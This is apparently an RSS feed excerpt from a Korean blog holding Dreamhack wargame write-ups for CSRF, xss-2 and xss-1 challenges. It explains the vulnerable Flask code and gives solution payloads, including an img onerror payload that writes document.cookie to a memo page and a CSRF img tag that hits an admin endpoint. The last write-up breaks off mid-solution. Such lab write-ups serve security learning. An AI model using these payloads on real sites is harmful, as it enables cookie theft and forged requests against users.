&lt;p data-ke-size=&quot;size14&quot;&gt;코드를 통해 각 페이지의 동작을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/vuln` 페이지 접속 시 동작하는 코드는 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716528083619&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;).lower()
    xss_filter = [&quot;frame&quot;, &quot;script&quot;, &quot;on&quot;]
    for _ in xss_filter:
        param = param.replace(_, &quot;*&quot;)
    return param&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;쿼리 파라미터 값을 모두 소문자로 변경하고 `xss_filter`에 포함된 문자열을 `*`로 치환한다. 그 외의 문자열은 그대로 반환해 `text/html` 형태로 응답한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/flag` 페이지 접속 시 동작하는 코드는 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716528201230&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;, &quot;&quot;)
        if not check_csrf(param):
            return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;GET 방식 요청의 경우 `flag.html` 파일을 렌더링해 응답하고, POST 방식 요청의 경우 `check_csrf()` 함수를 호출한다. `check_csrf()` 함수는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716528272121&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def check_csrf(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/flag` 페이지에서 입력 받은 값을 쿼리 파라미터로 URL을 생성한다. `read_url()` 함수는 `url`과 `cookie` 두 개의 파라미터를 갖는데, `/flag` 페이지를 통해 `/vuln` 페이지에 접근하는 경우 쿠키 값은 디폴트 값으로 넘어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/admin/notice_flag` 페이지 접속 시 동작하는 코드는 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716528568047&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/admin/notice_flag&quot;)
def admin_notice_flag():
    global memo_text
    if request.remote_addr != &quot;127.0.0.1&quot;:
        return &quot;Access Denied&quot;
    if request.args.get(&quot;userid&quot;, &quot;&quot;) != &quot;admin&quot;:
        return &quot;Access Denied 2&quot;
    memo_text += f&quot;[Notice] flag is {FLAG}\n&quot;
    return &quot;Ok&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`request.remote_addr`로 클라이언트의 요청 주소를 확인한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;루프백으로부터 온 요청이 아닌 경우 'Access Denied'를 반환한다.&lt;/li&gt;
&lt;li&gt;요청의 쿼리 파라미터가 'admin'이 아닌 경우 `Access Denied 2'를 반환한다.&lt;/li&gt;
&lt;li&gt;그 외에는 `memo_text`에 플래그가 포함된 문자열을 할당하고 `OK`를 반환한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약점&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`memo_text`에 플래그 값이 저장될 가능성이 있음에도 변수가 전역으로 선언되어 `/admin/notice_flag`에 접근 권한이 없는 경우에도 로그를 확인할 수 있다. 서버가 동작하는 동안 `/admin/notice_flag` 페이지에 접근 가능한 사용자가 해당 페이지에 접속하면 플래그가 권한이 없는 사용자에게 노출될 가능성이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/admin/notice_flag` 페이지는 기본적으로 루프백으로부터 온 요청이 아니면 접근을 거부하지만 이를 우회해 해당 페이지에 루프백으로 접근할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;풀이&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`memo_text`는 전역적으로 사용되는 변수이므로 위의 두 조건을 피해갈 수 있다면 `/admin/notice_flag`에 접근이 가능할 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;우선 루프백으로 해당 페이지에 접근하려면 어떻게 해야 할까? `/flag` 페이지를 통해 form 데이터를 전송하면 내부적으로 `check_csrf()` 함수를 타게 된다. 문제의 서버는 Selenium으로 특정 URL에 접근하는 봇이 구현되어 있다. 따라서 서버가 로컬(루프백)에서 `/admin/notice_flag` 페이지에 접근하도록 할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;루프백이 아닌 외부의 사용자가 할 수 있는 것은 `/flag` 페이지에서 form 데이터를 전송해 이를 `/vuln` 페이지에 반영하는 것이다. Selenium으로 서버가 `/vuln` 페이지에 접근했을 때 DOM 요소 내에서 `GET /admin/notice_flag?userid=admin`으로 요청이 이루어지면 서버 측의 두 가지 방어 코드를 우회할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1716531467873&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;/admin/notice_flag?userid=admin&quot; /&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;기본적으로 DOM에 이미지 태그가 포함되면 브라우저는 해당 이미지의 `src` 속성에 지정된 URL로 GET 요청을 보낸다. 이 작업은 웹 페이지가 로드될 때 자동으로 일어난다. 따라서 서버의 봇이 `/vuln` 페이지에 접속함과 동시에 `GET /admin/notice_flag?userid=admin` 요청이 발생하고, 플래그는 `memo_text`에 저장되므로 CSRF 공격 성공 시 외부 사용자(공격자)는 `/memo` 페이지에서 플래그를 조회할 수 있다.&lt;/p&gt;</description>
      <category>Wargame/Dreamhack</category>
      <category>CSRF</category>
      <category>Dreamhack</category>
      <category>WEB</category>
      <author>장일영</author>
      <guid isPermaLink="true">https://oxahex.tistory.com/56</guid>
      <comments>https://oxahex.tistory.com/56#entry56comment</comments>
      <pubDate>Fri, 24 May 2024 15:24:20 +0900</pubDate>
    </item>
    <item>
      <title>xss-2</title>
      <link>https://oxahex.tistory.com/55</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/268&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;268&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;플래그 형식은 DH{...} 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;정보&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;화면에서 알 수 있는 정보는 최소 3개의 페이지가 있다는 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-05-24 오후 1.26.00.png&quot; data-origin-width=&quot;2472&quot; data-origin-height=&quot;656&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dUK1Mi/btsHBq21tUq/82tipDC1XpFPPtFewy8ss0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dUK1Mi/btsHBq21tUq/82tipDC1XpFPPtFewy8ss0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dUK1Mi/btsHBq21tUq/82tipDC1XpFPPtFewy8ss0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdUK1Mi%2FbtsHBq21tUq%2F82tipDC1XpFPPtFewy8ss0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2472&quot; height=&quot;656&quot; data-filename=&quot;스크린샷 2024-05-24 오후 1.26.00.png&quot; data-origin-width=&quot;2472&quot; data-origin-height=&quot;656&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;vuln(xss) page 이동 시 쿼리 파라미터의 스크립트 코드는 실행되지 않는다.&lt;/li&gt;
&lt;li&gt;memo 이동 시 `/memo?memo=hello`에 명시된 쿼리 파라미터의 값이 출력된다.&lt;/li&gt;
&lt;li&gt;memo 페이지는 반복 접근 시 로그와 같이 쿼리 파라미터의 값이 계속해서 쌓인다.&lt;/li&gt;
&lt;li&gt;flag 페이지의 form은 `POST /flag`로 요청을 보낸다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;코드를 통해 각 페이지의 동작을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/vuln` 페이지 접속 시 동작은 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716525636291&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/vuln&quot;)
def vuln():
    return render_template(&quot;vuln.html&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;화면에서 확인했을 때는 쿼리 파라미터를 받고 있었는데, 쿼리 파라미터에 대한 별다른 조치 없이 `vuln.html` 파일을 그대로 렌더링 처리하고 있다. `vuln.html` 파일을 확인하면 다음과 같은 스크립트가 삽입되어 있는 것을 볼 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1716525539095&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;서버로부터 `vuln.html` 파일을 렌더링한 후 스크립트가 실행되면서 현재 URL의 쿼리 파라미터 부분을 `innerHTML`로 요소에 삽입하고 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-05-24 오후 1.43.24.png&quot; data-origin-width=&quot;1304&quot; data-origin-height=&quot;538&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bB2Wnz/btsHBtyMDKi/JbRLizufC6ZcAQAEqgaRRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bB2Wnz/btsHBtyMDKi/JbRLizufC6ZcAQAEqgaRRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bB2Wnz/btsHBtyMDKi/JbRLizufC6ZcAQAEqgaRRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbB2Wnz%2FbtsHBtyMDKi%2FJbRLizufC6ZcAQAEqgaRRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1304&quot; height=&quot;538&quot; data-filename=&quot;스크린샷 2024-05-24 오후 1.43.24.png&quot; data-origin-width=&quot;1304&quot; data-origin-height=&quot;538&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;그래서 서버 측에서 따로 방어 코드를 작성하지 않아도 `/vuln` 페이지에서는 스크립트가 실행되지 않는다. HTML5에서는 `innerHTML`로 삽입된 `&amp;lt;script&amp;gt;` 태그는 실행되지 않도록 지정하기 때문이다. (&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML#security_considerations&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;참고&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/flag` 페이지 접속 시 동작은 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716526343896&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;)
        if not check_xss(param, {&quot;name&quot;: &quot;flag&quot;, &quot;value&quot;: FLAG.strip()}):
            return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;GET 방식 요청의 경우 `flag.html` 파일을 렌더링하고, POST 방식 요청의 경우 `check_xss()` 함수를 실행한다. 함수 실행 시점에 `./flag.txt` 파일의 내용이 인자로 전달된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`check_xss()` 함수는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716526433312&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def check_xss(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/flag` 페이지에서 입력 받은 값을 `/vuln` URL의 쿼리 파라미터로 사용한다. `read_url()` 함수는 Selenium으로 `url`에 접근하고, 쿠키를 설정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약점&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/vuln` URL의 쿼리 파라미터에 대한 방어 코드가 서버 측에 존재하지 않고 HTML5에서 지원하는 `innerHTML`의 기본적인 방어에 의존하고 있다. `innerHTML`로 쿼리 파라미터의 값을 DOM 요소 내에 삽입하고 있으므로 입력값이 DOM에 포함될 가능성이 있다. `&amp;lt;script&amp;gt;`를 사용하지 않고 JavaScript를 실행할 수 있으므로 이 부분이 취약하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;풀이&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`&amp;lt;script&amp;gt;`를 사용하지 않고 JavaScript를 실행하려면 어떻게 해야 할까? `innerHTML`로 삽입할 수 있는 DOM Element를 통해 스크립트를 실행할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1716526704633&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;nowhere&quot; onerror=&quot;alert(1)&quot; /&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;만약 위의 이미지 태그가 DOM에 삽입된다면 이미지를 불러오는 데 실패할 것이고, `onerror`에 지정한 스크립트가 실행될 것이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/flag` 페이지를 통해 `/vuln` 페이지에 접속할 때 플래그가 쿠키에 저장된다. 따라서 이 시점에 스크립트를 실행할 수 있다면 `/memo` 페이지에&amp;nbsp; 해당 쿠키 값을 기록할 수 있을 것이다.&lt;/p&gt;
&lt;pre id=&quot;code_1716526897439&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;nowhere&quot; onerror=&quot;location.href='/memo?memo=' + document.cookie&quot; /&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Wargame/Dreamhack</category>
      <category>Dreamhack</category>
      <category>WEB</category>
      <category>XSS</category>
      <author>장일영</author>
      <guid isPermaLink="true">https://oxahex.tistory.com/55</guid>
      <comments>https://oxahex.tistory.com/55#entry55comment</comments>
      <pubDate>Fri, 24 May 2024 14:06:02 +0900</pubDate>
    </item>
    <item>
      <title>xss-1</title>
      <link>https://oxahex.tistory.com/54</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/28&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;28&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;플래그 형식은 DH{...} 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;정보&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;화면에서 알수 있는 정보는 최소 3개의 페이지가 있다는 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-05-24 오후 12.13.26.png&quot; data-origin-width=&quot;1212&quot; data-origin-height=&quot;606&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0IbRe/btsHzp5yHRs/foDuRtVQohjK3xTMA2KJg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0IbRe/btsHzp5yHRs/foDuRtVQohjK3xTMA2KJg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0IbRe/btsHzp5yHRs/foDuRtVQohjK3xTMA2KJg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0IbRe%2FbtsHzp5yHRs%2FfoDuRtVQohjK3xTMA2KJg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1212&quot; height=&quot;606&quot; data-filename=&quot;스크린샷 2024-05-24 오후 12.13.26.png&quot; data-origin-width=&quot;1212&quot; data-origin-height=&quot;606&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;vuln(xss) page 이동 시 `&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;`가 실행된다.&lt;/li&gt;
&lt;li&gt;memo 이동 시 `/memo?memo=hello`에 명시된 파라미터가 출력된다.&lt;/li&gt;
&lt;li&gt;memo 페이지는 반복 접근 시 로그와 같이 파라미터 내용이 계속해서 쌓인다.&lt;/li&gt;
&lt;li&gt;flag 페이지의 form은 `POST /flag`로 text 값을 전송한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;코드를 통해 각 페이지에서 어떤 로직이 동작하는지 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;먼저 `/vuln` 페이지 접속 시 동작은 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716522076162&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;)
    return param&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;쿼리 파라미터에 들어오는 모든 문자열은 별다른 필터링 없이 그대로 `Content-Type: text/html` 형태로 반환된다. 따라서 `param`의 값에 스크립트 코드가 있는 경우 이는 그대로 브라우저에서 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/flag` 페이지 접속 시 동작은 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716522419832&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;)
        if not check_xss(param, {&quot;name&quot;: &quot;flag&quot;, &quot;value&quot;: FLAG.strip()}):
            return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;GET 방식 요청인 경우 `flag.html` 페이지를 렌더링하고, POST 요청인 경우 `check_xss()`를 실행한다. 함수 실행 시점에서 `./flag.txt` 파일의 내용이 인자로 전달된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`check_xss()` 함수는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1716522564205&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def check_xss(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/flag` 페이지에서 입력 받은 값을 쿼리 파라미터로 삽입해 `/vuln` 페이지에 접근한다. `read_url()` 함수는 Selenium으로 해당 주소에 접근하고, 파라미터로 받은 쿠키 값을 삽입한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약점&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/vuln` URL의 쿼리 파라미터에 스크립트 필터가 없고, 파라미터 값을 `text/html` 형식으로 반환하므로 서버 응답에 스크립트 삽입이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;풀이&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`/flag` 페이지를 통해 `/vuln` 페이지에 접근할 때 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;플래그가 쿠키로 저장된다. 따라서 `/vuln` 페이지에 접근했을 때의 쿠키 값을 `/memo` 페이지에 노출시키는 방법을 생각해볼 수 있다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;`/flag` 페이지의 form 입력으로 스크립트 코드를 입력하면, 이는 `/vuln` URL의 쿼리 파라미터로 들어간다. `/vuln` URL에는 사용자 입력에 대한 별다른 방어 코드가 없으므로 이 스크립트 코드는 그대로 실행될 것이다. 만약 `&amp;lt;script&amp;gt;document.cookie;&amp;lt;/script&amp;gt;`를 `POST /flag`로 전송하면 `/vuln` 페이지에 접속했을 때 가지고 있는 쿠키를 반환할 것이다. 다만 쿠키 값을 눈으로 확인하기 위해서는 `/memo` 페이지를 이용할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
